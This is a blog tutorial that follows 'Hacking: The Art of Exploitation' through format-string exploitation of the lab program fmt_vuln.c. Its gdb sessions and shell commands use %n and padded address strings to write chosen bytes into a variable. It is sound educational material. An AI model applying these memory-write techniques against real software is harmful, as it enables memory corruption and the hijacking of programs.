Format Strings III Writing to Memory.

Last time we saw that we can use format strings to read a memory address if we input the right command line argument.  This time we are going to learn about how to write data to memory using the %n parameter.

The Set Up

We are going to continue to use the fmt_vuln.c program.  As a refresher we are going to grab the address of the PATH variable and use the %s parameter to read its value.

One thing to note here is that if you don’t turn off the ASLR you will end up getting segmentation faults because the address will change each time. Here’s what happens without turning it off:

$ ./getenvaddr PATH
PATH is at 0xbfe4cd3c
$ ./getenvaddr PATH
PATH is at 0xbf8fbd3c
g$ ./getenvaddr PATH
PATH is at 0xbff49d3c
$ ./getenvaddr PATH
PATH is at 0xbfc5bd3c
$ ./fmt_vuln $(printf "\x3c\xfb\x8f\xbf")%08x.%08x.%08x.%s
The right way to print user-controlled input:
<���%08x.%08x.%08x.%s
The wrong way to print user-controlled input:
Segmentation fault

Which is a nice demonstration that the included protections with our OS are doing their intended job.  With the knowledge that we have at this point without access to root we wouldn’t be able to read the PATH value with this program as written.  But we have that so we get:

$ ./fmt_vuln $(printf "\x42\xfd\xff\xbf")%08x.%08x.%08x.%s
The right way to print user-controlled input:
B���%08x.%08x.%08x.%s
The wrong way to print user-controlled input:
B���bfffeeb0.00000174.00000174.=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
[*] test_val @ 0x080498cc = -72 0xffffffb8

Lets take a look in gdb so we can see what the memory is doing.

run $(printf "\x33\xfd\xff\xbf")%08x.%08x.%08x.%s
Starting program: /fmt_vuln $(printf "\x33\xfd\xff\xbf")%08x.%08x.%08x.%s
The right way to print user-controlled input:
3���%08x.%08x.%08x.%s
The wrong way to print user-controlled input:

Breakpoint 1, main (argc=2, argv=0xbffff314) at fmt_vuln.c:23
23          printf("\n");
(gdb) x/16xw $esp
0xbfffee60:     0xbffffd33      0x78383025      0x3830252e      0x30252e78
0xbfffee70:     0x252e7838      0x00000073      0x001a71dc      0x001a71dc
0xbfffee80:     0x001a71dc      0x00000008      0x0000004c      0x00000004
0xbfffee90:     0x00000004      0x6474e550      0x0016a4d8      0x0016a4d8

We can see in bold where the memory address is stored right above the top of the stack.

Lets Alter The Input

Now we are going to start playing around with %n and fmt_vuln.c.  Here we are going to change the input address.  For %s we were reading from an address, with %n we want to write to an address.  In the case of this program we want to write to the test_val variable located at 0x080498cc.

Lets review what the %n parameter does really quickly.  The %n parameter counts the number of characters before it and stores that value in memory.  So we are counting the number of characters and storing that value in memory at the specified address of test_val.

$ ./fmt_vuln $(printf "\xcc\x98\x04\x08")%08x.%08x.%08x.%n
The right way to print user-controlled input:
%08x.%08x.%08x.%n
The wrong way to print user-controlled input:
bfffeeb0.00000174.00000174.
[*] test_val @ 0x080498cc = 31 0x0000001f

We can change the number of characters in the input string by changing the values of %08x.  As demonstrated below we get different values for test_val based on the number of spaces input into the string.

$ ./fmt_vuln $(printf "\xcc\x98\x04\x08")%x%x%x%n
The right way to print user-controlled input:
%x%x%x%n
The wrong way to print user-controlled input:
bfffeeb0174174
[*] test_val @ 0x080498cc = 18 0x00000012
$ ./fmt_vuln $(printf "\xcc\x98\x04\x08")%x%x%100x%n
The right way to print user-controlled input:
%x%x%100x%n
The wrong way to print user-controlled input:
bfffeeb0174 
                   174
[*] test_val @ 0x080498cc = 115 0x00000073

The Goal

We are going to try and use what we know about the format string program to write a value into memory.  We are going to do this by making four writes to the memory.  We are going to manipulate the number of spaces before the %n characters in our input string to write the data.  I am following HTAE fairly closely here.  The only thing you really have to manipulate is determining what the addresses and the offset is.

$ ./fmt_vuln $(printf "\xcc\x98\x04\x08")%x%x%8x%n
The right way to print user-controlled input:
%x%x%8x%n
The wrong way to print user-controlled input:
bfffeeb0174     174
[*] test_val @ 0x080498cc = 23 0x00000017
$ gdb -q
(gdb) p 0xaa - 23 + 8
$1 = 155
(gdb) qu;it
Invalid character ';' in expression.
(gdb) quit
$ ./fmt_vuln $(printf "\xcc\x98\x04\x08")%x%x%155x%n
The right way to print user-controlled input:
%x%x%155x%n
The wrong way to print user-controlled input:
bfffeeb0174                                                            
                                                                                            174
[*] test_val @ 0x080498cc = 170 0x000000aa

Here we are writing the value 0xaa into the memory address at 0x080498cc. The first run was a test run to pull a random DWORD (double word) which is 4 bytes long.  This can output a range of 1 to 8 characters.    We are trying to get the value 170 input in test_val which is 0xaa in hex.  We subtracted the value in test_val from 0xaa.  Then we add 8 back in because thats the offset we started with.  If we don’t add the value back in we end up with with 162 in test_val which is 0xa2.

So far we’ve written the least significant byte of our address.  You may be asking why did we only write the least significant bit of the address?  The answer is that we aren’t able to write the entire address in one simple write.  Consider the address 0xddccbbaa.  We are able to write 0xccbbaa in one write but when we add the most significant byte we fail.

$ ./fmt_vuln $(printf "\xcc\x98\x04\x08")%x%x%3721182107x%n
The right way to print user-controlled input:
%x%x%3721182107x%n
The wrong way to print user-controlled input:
bfffee80174
[*] test_val @ 0x080498cc = -72 0xffffffb8

We are able to write 0x00ccbbaa by inserting 13417386 spaces in the string. However that’s 13417386 spaces in a single string.  And so far we haven’t seen any way of going back in and writing the most significant byte to the address.  Hence we break it up and accomplish our goal by writing four times, one write to each successive memory address.  This will get each byte of the four byte memory address in successive memory.

We are going to make one string that will accomplish the four memory writes in a single pass.  To do that we need to make use of four %n parameters to control the writes.  We will go through a similar process as above to write 0xbbaa in our test_val variable.

$ ./fmt_vuln $(printf "\xcc\x98\x04\x08JUNK\xcd\x98\x04\x08JUNK\xce\x98\x04\x08JUNK\xcf\x98\x04
\x08")%x%x%131x%n%17x%n
The right way to print user-controlled input:
JUNJUNKJUNK%x%x%131x%n%17x%n
The wrong way to print user-controlled input:
JUNJUNKJUNKbfffee90174                                                                     
                                                           174         4b4e554a
[*] test_val @ 0x080498cc = 48042 0x0000bbaa

We are halfway there.  But you may be confused about the input string.  Remember that we are using little endian architecture so the least significant byte is first.  With that in mind adjust the 0xaa offset to occur as the first write.  Then we find the difference between 0xbb and 0xaa is 17.  So that is the value for the second offset to write bb in the next byte.

Lets take a look at this write in memory.  Here’s the test for the offset in gdb.

(gdb) run $(printf "\xcc\x98\x04\x08JUNK\xcd\x98\x04\x08JUNK\xce\x98\x04\x08JUNK\xcf\x98\x04
\x08")%x%x%x8x%n
Starting program: /fmt_vuln $(printf "\xcc\x98\x04\x08JUNK\xcd\x98\x04\x08JUNK\xce\x98\x04\x08
JUNK\xcf\x98\x04\x08")%x%x%x8x%n
The right way to print user-controlled input:
JUNJUNKJUNK%x%x%x8x%n
The wrong way to print user-controlled input:

Breakpoint 1, main (argc=2, argv=0xbffff304) at fmt_vuln.c:23
23          printf("\n");
(gdb) x/16xw $esp
0xbfffee50:     0x080498cc      0x4b4e554a      0x080498cd      0x4b4e554a
0xbfffee60:     0x080498ce      0x4b4e554a      0x080498cf      0x78257825
0xbfffee70:     0x78387825      0x00006e25      0x0000004c      0x00000004
0xbfffee80:     0x00000004      0x6474e550      0x0016a4d8      0x0016a4d8

We can see the sequential addresses we entered in bold separated by four bytes. As Expected the four byte values in between are the ASCII representations of JUNK.  If we exclude the JUNK values the memory addresses will occupy the spaces where the JUNK values are.  We see that running without the JUNK values inserted (or any four bit value we chose) will break the functionality of the exploit.

$ ./fmt_vuln $(printf "\xcc\x98\x04\x08\xcd\x98\x04\x08\xce\x98\x04\x08\xcf\x98\x04\x08")
%x%x%131x%n%17x%n
The right way to print user-controlled input:
%x%x%131x%n%17x%n
The wrong way to print user-controlled input:
bfffeea0174                                                                       
                                                         174          80498cd
[*] test_val @ 0x080498cc = 11468958 0x00af009e

So we do need those in our string to get the offset correct for %n to read the correct value.  Here is what the correct implementation to get 0x0000bbaa written looks like in gdb.

(gdb) run $(printf "\xcc\x98\x04\x08JUNK\xcd\x98\x04\x08JUNK\xce\x98\x04\x08JUNK\xcf\x98\x04
\x08")%x%x%131x%n%17x%n
Starting program: fmt_vuln $(printf "\xcc\x98\x04\x08JUNK\xcd\x98\x04\x08JUNK\xce\x98\x04\x08
JUNK\xcf\x98\x04\x08")%x%x%131x%n%17x%n
The right way to print user-controlled input:
JUNJUNKJUNK%x%x%131x%n%17x%n
The wrong way to print user-controlled input:

Breakpoint 1, main (argc=2, argv=0xbffff2f4) at fmt_vuln.c:23
23          printf("\n");
(gdb) x/16xw $esp
0xbfffee40:     0x080498cc      0x4b4e554a      0x080498cd      0x4b4e554a
0xbfffee50:     0x080498ce      0x4b4e554a      0x080498cf      0x78257825
0xbfffee60:     0x31333125      0x256e2578      0x25783731      0x0000006e
0xbfffee70:     0x00000004      0x6474e550      0x0016a4d8      0x0016a4d

We can see the difference in the memory in bold.  We can do the exact same offset process to get the rest of the address written in test_val.  It turns out that 0xdd – 0xcc and 0xcc – 0xbb are both 17.  So we will write the appropriate offsets on the end of the input string.

$ ./fmt_vuln $(printf "\xcc\x98\x04\x08JUNK\xcd\x98\x04\x08JUNK\xce\x98\x04\x08JUNK\xcf\x98
\x04\x08")%x%x%131x%n%17x%n%17x%n%17x%n
The right way to print user-controlled input:
JUNJUNKJUNK%x%x%131x%n%17x%n%17x%n%17x%n
The wrong way to print user-controlled input:
JUNJUNKJUNKbfffee80174                                                                    
                                                            174   
      4b4e554a         4b4e554a         4b4e554a
[*] test_val @ 0x080498cc = -573785174 0xddccbbaa

Which is pretty cool. We have written a value we wanted into the test_val variable address. Though I’m still pretty curious about what that JUNK value is for. Lets see what happens when we don’t include it for the longer write.

$ ./fmt_vuln $(printf "\xcc\x98\x04\x08\xcd\x98\x04\x08\xce\x98\x04\x08\xcf\x98\x04\x08")%x%x
%131x%n%17x%n%17x%n%17x%n
The right way to print user-controlled input:
%x%x%131x%n%17x%n%17x%n%17x%n
The wrong way to print user-controlled input:
Segmentation fault

Turns out we are trying to write somewhere we shouldn’t be when we don’t include the JUNK value. Lets take a look at the memory in gdb to get a feel for what goes wrong.

(gdb) x/24xw $esp
0xbfffee30:     0x080498cc      0x4b4e554a      0x080498cd      0x4b4e554a
0xbfffee40:     0x080498ce      0x4b4e554a      0x080498cf      0x78257825
0xbfffee50:     0x31333125      0x256e2578      0x25783731      0x3731256e
0xbfffee60:     0x256e2578      0x25783731      0x0016006e      0x0016a4d8
0xbfffee70:     0x0016a4d8      0x0000747c      0x0000747c      0x00000004
0xbfffee80:     0x00000004      0x6474e551      0x00000000      0x00000000

Here is the memory at the top of the stack when we include the JUNK values. Here is what happens when we don’t include the JUNK values.

(gdb) run $(printf "\xcc\x98\x04\x08\xcd\x98\x04\x08\xce\x98\x04\x08\xcf\x98\x04\x08")%x%x%x
131x%n%17x%n%17x%n%17x%n
Starting program: /home/exploit/Hacking/Exploits/fmt_vuln $(printf "\xcc\x98\x04\x08\xcd\x98
\x04\x08\xce\x98\x04\x08\xcf\x98\x04\x08")%x%x%x131x%n%17x%n%17x%n%17x%n
The right way to print user-controlled input:
%x%x%x131x%n%17x%n%17x%n%17x%n
The wrong way to print user-controlled input:

Program received signal SIGSEGV, Segmentation fault.
0xb7e5b7ec in _IO_vfprintf_internal (s=0xb7fbdac0 , 
    format=, 
    format@entry=0xbfffee40 "̘\004\b͘\004\bΘ\004\bϘ\004\b%x%x%x131x%n%17x%n%17x%n%17x%n",
 ap=0xbfffee54 "%x131x%n%17x%n%17x%n%17x%n", 
    ap@entry=0xbfffee34 "@\356\377\277t\001") at vfprintf.c:1641
1641    vfprintf.c: No such file or directory.
(gdb) x/24xw $esp
0xbfffe8f0:     0xb7fbdac0      0xbfffee66      0x00000000      0x00000000
0xbfffe900:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffe910:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffe920:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffe930:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffe940:     0x00000000      0x00000000      0x00000000      0x00000000

So what happened here? We have blown up the size of our stack by 1344. The effect has made it so that when we try to access the memory for test_val we are unable to read it.The JUNK portions format our attack to fit into memory properly without causing our program to go crazy.

Conclusion

We have seen how we can format an input string to allow us to write to a memory address.  Though in our case the easy fix is to use the printf function by passing the parameters and not the variable directly.

We are getting to the end of the Exploits chapter of Hacking the Art of Exploitation.  Once we finish up with Exploits we will jump to Shellcode.  After Shellcode we will jump back one chapter and cover some of the Networking chapter.

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s